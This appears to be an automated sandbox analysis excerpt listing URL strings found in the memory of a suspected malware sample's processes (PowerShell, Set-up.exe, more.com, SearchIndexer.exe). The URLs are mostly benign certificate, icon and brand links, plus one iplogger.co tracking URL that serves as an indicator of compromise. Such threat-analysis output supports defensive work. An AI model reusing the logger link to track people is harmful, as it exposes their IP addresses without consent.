Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.Coolicons.dll.4.dr, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr	String found in binary or memory: http://metro.mahapps.com/winfx/xaml/iconpacks
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr	String found in binary or memory: http://nagoshiashumari.github.io/Rpg-Awesome/Ehttps://github.com/nagoshiashumari/Rpg-Awesome/blob/ma
Source: powershell.exe, 00000004.00000002.1826528288.000001FE2B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1908939923.0000000002EEB000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132537306.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284589049.000000000449D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1860629702.000001CA8009C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1842507493.0000014D80084000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1B871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spacemacs.org/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spacemacs.org/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/company/logos
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/company/logos=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subversion.apache.org/logo
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subversion.apache.org/logo#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stencyl.com/about/press/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stubhub.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stubhub.com:
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.wix.com/about/design-assets
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://about.sourcegraph.com/handbook/marketing/brand/brand_guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://about.zenodo.org
Source: powershell.exe, 00000000.00000002.1860629702.000001CA80055000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000000.00000002.1860629702.000001CA8006A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1842507493.0000014D8005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1842507493.0000014D80047000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1B871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1BC7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1831914601.000001FE33B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atlassian.design/resources/logo-library
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atlassian.design/resources/logo-library3
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blog.society6.com/app/themes/society6/dist/images/mark.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://boxicons.com/#https://boxicons.com/usage/#license
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://boxicons.com/#https://boxicons.com/usage/#license-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brand.suse.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brand.suse.com/#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandfolder.com/sonicwall/sonicwall-external
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandland.zendesk.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandland.zendesk.com/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.js.wiki/images/wikijs-butterfly-mono.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.js.wiki/images/wikijs-butterfly-mono.svgP
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Commons-logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Commons-logo.svgM
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:SMRT_Corporation.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:SMRT_Corporation.svgG
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg(
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Subaru_logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Subaru_logo.svg/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg&
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Tampermonkey_logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Tampermonkey_logo.svg7
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svgJ
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikiquote-logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikiquote-logo.svgR
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_10_Logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_10_Logo.svg9
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_logo_-_2002%E2%80%932012_(Multicolored).svg
Source: powershell.exe, 00000004.00000002.1826528288.000001FE2B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1826528288.000001FE2B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1826528288.000001FE2B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by/4.0/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by/4.0/.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://design.ticketmaster.com/brand/overview/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dev.xing.com/logo_rules
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dev.xing.com/logo_rulesf
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.valvesoftware.com/favicon.ico
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.soliditylang.org/en/v0.8.6/brand-guide.html
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://en.facebookbrand.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://en.facebookbrand.com/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foursquare.com/about/logos
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foursquare.com/about/logos0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://framework.zend.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://framework.zend.com/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gaming.youtube.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gaming.youtube.com/H
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsol.us/branding/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DevExpress/testcafe/blob/dd174b6682b5f2675ac90e305d3d893c36a1d814/media/logos/svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.Coolicons.dll.4.dr, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr	String found in binary or memory: https://github.com/MahApps/MahApps.Metro.IconPacks.git
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Teradata/teradata.github.io/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Teradata/teradata.github.io/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cdfoundation/artwork/blob/3e748ca9cf9c3136a4a571f7655271b568c16a64/tekton/icon/bl
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/swag/tree/master/xamarin
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/erikflowers/weather-icons6https://github.com/erikflowers/weather-icons#licensing
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/erikflowers/weather-icons6https://github.com/erikflowers/weather-icons#licensing1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/microsoft-ui-xaml/issues/1185#issuecomment-529731046
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/microsoft-ui-xaml/issues/1185#issuecomment-529731046-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/snapcore/snap-store-badges
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/snapcore/snap-store-badges;
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/spinnaker/spinnaker.github.io/tree/master/assets/images
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/spinnaker/spinnaker.github.io/tree/master/assets/images%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sqlite/sqlite/blob/43e862723ec680542ca6f608f9963c0993dd7324/art/sqlite370.eps
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stopstalk/media-resources/blob/265b728c26ba597b957e72134a3b49a10dc0c91d/stopstalk
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/storybookjs/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stylelint/stylelint/blob/1f7bbb2d189b3e27b42de25f2948e3e5eec1b759/identity/stylel
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stylus/stylus-lang.com/blob/c833bf697e39e1174c7c6e679e0e5a23d0baeb90/img/stylus-l
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/supabase/supabase/blob/2a983c3290148d17cfce9e34c0a39102b22fdf78/web/static/img/sh
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sveltejs/branding/blob/c4dfca6743572087a6aef0e109ffe3d95596e86a/svelte-logo.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sveltejs/branding/blob/c4dfca6743572087a6aef0e109ffe3d95596e86a/svelte-logo.svg3
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/svg/svgo/blob/93a5db197ca32990131bf41becf2e002bb0841bf/logo/isotype.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/svg/svgo/blob/93a5db197ca32990131bf41becf2e002bb0841bf/logo/isotype.svgM
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sympy/sympy.github.com/blob/e606a6dc2ee90b1ddaa9c36be6c92392ab300f72/media/sympy-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/thymeleaf/thymeleaf-org/blob/0427d4d4c6f08d3a1fbed3bc90ceeebcf094b532/artwork/thy
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/windicss/docs/blob/d7a01df515c4fa30dbb33ede7c46392e21fbf2cb/public/assets/logo.sv
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/xsf/xmpp.org/tree/00c49187e353c1a156c95562dafaf129e688fbad/content/icons
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/yarnpkg/assets
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/yarnpkg/assets5
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ziglang/logo
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ziglang/logo8
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zulip/zulip/blob/df9e40491dc77b658d943cff36a816d46e32ce1b/static/images/logo/zuli
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/wanduow/wireshark/-/blob/cd5539b0f76975474869984a9d2f0fce29d5c21e/image/wsicon.sv
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smash.gg/en/articles/1716774-smash-gg-brand-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smash.gg/en/articles/1716774-smash-gg-brand-guidelines9
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smugmug.com/using-smugmug
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iconscout.com/unicons8https://github.com/Iconscout/unicons/blob/master/LICENSE
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://intl.startrek.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://intl.startrek.com/6
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1B871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798427494.000001FE19B1B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1BA96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.co/2h4Cg5
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://itunes.apple.com/us/app/strava-running-and-cycling-gps/id426826309
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://itunes.apple.com/us/app/strava-running-and-cycling-gps/id426826309.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new.steinberg.net/press/
Source: powershell.exe, 00000004.00000002.1826528288.000001FE2B8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://on.substack.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://on.substack.com/2
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/F
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/doc/marketing/branding
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/doc/marketing/branding#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/(
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partners.stitcher.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remixicon.com/=https://github.com/Remix-Design/RemixIcon/blob/master/License
